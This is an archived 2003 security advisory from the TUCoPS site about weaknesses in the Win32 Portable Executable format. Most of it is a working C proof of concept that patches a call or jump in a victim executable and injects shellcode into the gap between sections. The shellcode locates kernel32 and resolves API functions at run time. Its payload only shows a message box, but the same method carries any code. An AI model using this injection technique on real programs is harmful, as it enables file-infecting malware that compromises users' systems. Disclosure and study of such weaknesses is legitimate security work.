Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Windows :: a6129.htm

Portable Executable (PE) File Format For Win32 analysis and vulnerabilities



10th Apr 2003 [SBWID-6129]
COMMAND

	Portable  Executable  (PE)  File   Format   For   Win32   analysis   and
	vulnerabilities

SYSTEMS AFFECTED

	??

PROBLEM

	Exurity  Inc.  [http://members.rogers.com/exurity/]  posted   following,
	about  an  analysis  and  a  proof  of  concept  of   PE   file   format
	vulnerabilities.
	
	This article illustrates the following vulnerabilities  or  features  of
	PE file for Win32 Architecture.
	
	, The explicit linking of  Dynamic  Link  Library  executables  into  a
	process, especially the GetProcAddress and  LoadLibrary  API  functions,
	has far more consequences than it facilitates normal program  developers
	the flexibility in linking to their libraries dynamically.
	
	, The  intact  PE  header  information,  including  import  and  export
	library info, left in RAM for a process provides the strong  "vines"  to
	be followed up  for  GetProcAddress  and  Kernel32ModuleBase  from  many
	climbing points.
	
	, The virtual address  gap  between  two  sequential  sections  of  one
	executable, either .exe or .dll, is wide enough to harbor  a  few  "mice
	that carry elephants with them through the gap".
	
	, Lack of checking, or weak checking mechanism, for  the  integrity  of
	executables  on  the  operating  system  during  the   preparation   for
	launching executables enables the modification of executable  files  and
	and execution of  mobile  code  relatively  easy.  It  seems  a  lot  of
	components fail to detect the modification of executables at all.
	
	, Executables, once compiled, linked and delivered,  are  prone  to  be
	modified by other programs  and  most  of  them  do  not  have  run-time
	self-protection  mechanism  implemented.  This  weakness  is  not   only
	limited to Win32 application programs. Many executable files  for  other
	operating systems fail to check on themselves  during  the  run-time  as
	well.
	
	Article is available at:
	http://members.rogers.com/exurity/pdf/PE.pdf
	
	
	 Sample program included code
	 ============================
	
	
	/*  
	    To use this proof-of-concept code, you compile it into an executable after
	    you copy the content into a Visual C/C++ project. Then, you have to manually
	    figure out the following values when you run the executable for the victim
	    executable image:
	
		The source relative virtual address (RVA) and its file offset to allow the
	    call/jmp replacment;
		The destination RVA and its file offset to embed the code at. Enough space
	    has to be found for the embedded code of 0x109 bytes.
		For a jmp replacement, the original opcodes at the source RVA has to be
	    five bytes with multiple execution units. Otherwise, the movement of 5
	    bytes opcodes from the source RVA into the embedded code will lead to
	    unknown results.
		In theory, you have to grow the virtual space for the section where the 
	    embedded code will be inserted. Actually, you do not really have to.
	    
	    Peter Huang
	    http://members.rogers.com/exurity/
	*/
	
	#include <windows.h>
	#include <stdio.h>
	#include <stdlib.h>
	
	#define     EMBEDME_REPLACE_OFST       0xFC
	#define     EMBEDME_JMP_OFST           0x105
	
	char embedded[] =
	"\x60\x8b\xec\xeb\x29\x4c\x6f\x61\x64\x4c\x69\x62\x72\x61\x72\x79"
	"\x41\x00\x75\x73\x65\x72\x33\x32\x00\x4d\x65\x73\x73\x61\x67\x65"
	"\x42\x6f\x78\x41\x00\x48\x65\x6c\x6c\x6f\x21\x00\xeb\x05\xe8\xf9"
	"\xff\xff\xff\x5b\x8d\x7b\xd2\x57\xeb\x1f\xc1\xeb\x10\xc1\xe3\x10"
	"\x66\x81\x3b\x4d\x5a\x75\x0b\x8b\x4b\x3c\x66\x81\x3c\x0b\x50\x45"
	"\x74\x06\xc1\xeb\x10\x4b\x75\xe5\xc3\xe8\xdc\xff\xff\xff\x8b\x43"
	"\x3c\x40\x8b\x54\x03\x7f\x03\xd3\x8b\x42\x0c\x03\xc3\x8b\x08\x81"
	"\xc9\x20\x20\x20\x20\x81\xf9\x6b\x65\x72\x6e\x75\x11\x8b\x48\x04"
	"\x81\xc9\x20\x20\x20\x20\x81\xf9\x65\x6c\x33\x32\x74\x05\x83\xc2"
	"\x14\xeb\xd5\x8b\x42\x10\x8b\x1c\x03\xe8\x9c\xff\xff\xff\x33\xff"
	"\x8b\x4b\x3c\x8b\x74\x0b\x78\x03\xf3\x8b\x4e\x20\x03\xcb\x47\x8b"
	"\x11\x03\xd3\x81\x7a\x04\x72\x6f\x63\x41\x74\x05\x83\xc1\x04\x75"
	"\xed\x8b\x56\x24\x03\xd3\x0f\xb7\x3c\x7a\x2b\x7e\x10\x8b\x56\x1c"
	"\x8d\x14\xba\x8b\x14\x13\x03\xd3\x5f\x52\x53\x57\x87\xd3\x52\xff"
	"\xd3\x8d\x4f\x0d\x51\xff\xd0\x8d\x7f\x14\x57\x50\xff\xd3\x33\xc9"
	"\x51\x57\x8d\x57\x0c\x52\x51\xff\xd0\x8b\xe5\x61\x90\x90\x90\x90"
	"\x90\x90\x90\x90\xe9\xfb\xff\xff\xff";
	
	void EmbedMe(unsigned char * pImage, 
	             DWORD srcRva,
	             DWORD srcOfst,
	             DWORD targetRva,
	             DWORD targetOfst,
	             BOOL call)
	{
	    unsigned char * pTarget = pImage + targetOfst;
	    unsigned char * pSrc = pImage + srcOfst;
	
	    if ( call )
	    {
	        pSrc[0] = 0xE8;         // call
	        * (DWORD * ) (embedded+EMBEDME_JMP_OFST) = 
	                        ( ( * (DWORD * ) (pSrc + 1) ) + srcRva + 5 
	                        - ( targetRva + EMBEDME_JMP_OFST + 4));
	        * (DWORD * ) (pSrc + 1) = ( targetRva - (srcRva + 5) );
	    }
	    else
	    {
	        memcpy(embedded + EMBEDME_REPLACE_OFST, pSrc, 5 );
	        pSrc[0] = 0xE9;         // jmp
	        * (DWORD * ) (pSrc + 1) = ( targetRva - (srcRva + 5) );
	        * (DWORD * ) (embedded+EMBEDME_JMP_OFST) = 
	            ( srcRva + 5 - (targetRva + EMBEDME_JMP_OFST + 4 ) );
	    }
	    memcpy(pTarget, embedded, sizeof(embedded) );
	}
	
	int main(int argc, char* argv[])
	{
	    // embedme -c va filename
	    // embedme -j va filename
	
	    HANDLE fHandle;    
	    unsigned char * pImage;
	    BOOL call = TRUE;
	    DWORD srcRva, srcOfst, targetRva, targetOfst, fileLow, fileHigh;
	
	    if ( argc != 7 )
	    {
	        printf("Please notice the following numbers in hex as well as RVA\n"
				   "To embed the embedded as a callable\n"
	               "    embedme -c SrcRva FileOfst TargetRva TargetOfst filename\n"
	               "To embed the embedded as a jumpable\n"
	               "    embedme -j SrcRva FileOfst TargetRva TargetOfst filename\n");
	        return 1;
	    }
	
	    if ( strcmp(argv[1], "-c") != 0 )
	        call = FALSE;
	    
	    sscanf(argv[2], "%x", &srcRva);
	    sscanf(argv[3], "%x", &srcOfst);
	    sscanf(argv[4], "%x", &targetRva);
	    sscanf(argv[5], "%x", &targetOfst);
	
	    fHandle = CreateFile(argv[6],
	                         GENERIC_READ | GENERIC_WRITE,
	                         0,
	                         NULL,
	                         OPEN_EXISTING,
	                         0,
	                         NULL );
	    if ( fHandle == INVALID_HANDLE_VALUE )
	    {
	        printf("Failed to open file %s for error %d\n", argv[6], GetLastError() );
	        return 2;
	    }
	
	    fileLow = GetFileSize(fHandle, & fileHigh);
	    
	    if ( fileHigh || ( fileLow == 0 ) )
	    {
	        printf("File is either too big or empty\n", argv[6]);
	        CloseHandle(fHandle);
	        return 3;
	    }
	
	    pImage = (unsigned char *) malloc(fileLow);
	    if ( pImage == NULL )
	    {
	        printf("Run out of memory so early?\n");
	        CloseHandle(fHandle);
	        return 4;
	    }
	    
	    if ( ReadFile(fHandle, pImage, fileLow, &fileHigh, NULL ) &&
	         ( fileLow == fileHigh) )
	    {
	        SetFilePointer(fHandle, 0, NULL, FILE_BEGIN);   // reset it for writing
	        EmbedMe(pImage, srcRva, srcOfst, targetRva, targetOfst, call);
	        if ( ! WriteFile(fHandle, pImage, fileLow, &fileHigh, NULL ) ||
	             ( fileLow != fileHigh ) )
	        {
	            printf("Failed to write to file %s for error %d\n", 
	                   argv[6], GetLastError() );
	        }
	    }
	    else
	    {
	        printf("Failed to read from file %s for error %d\n", 
	               argv[6], GetLastError() );
	    }
	    CloseHandle(fHandle);
	
	    return 0;
	}
	

SOLUTION

	??


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH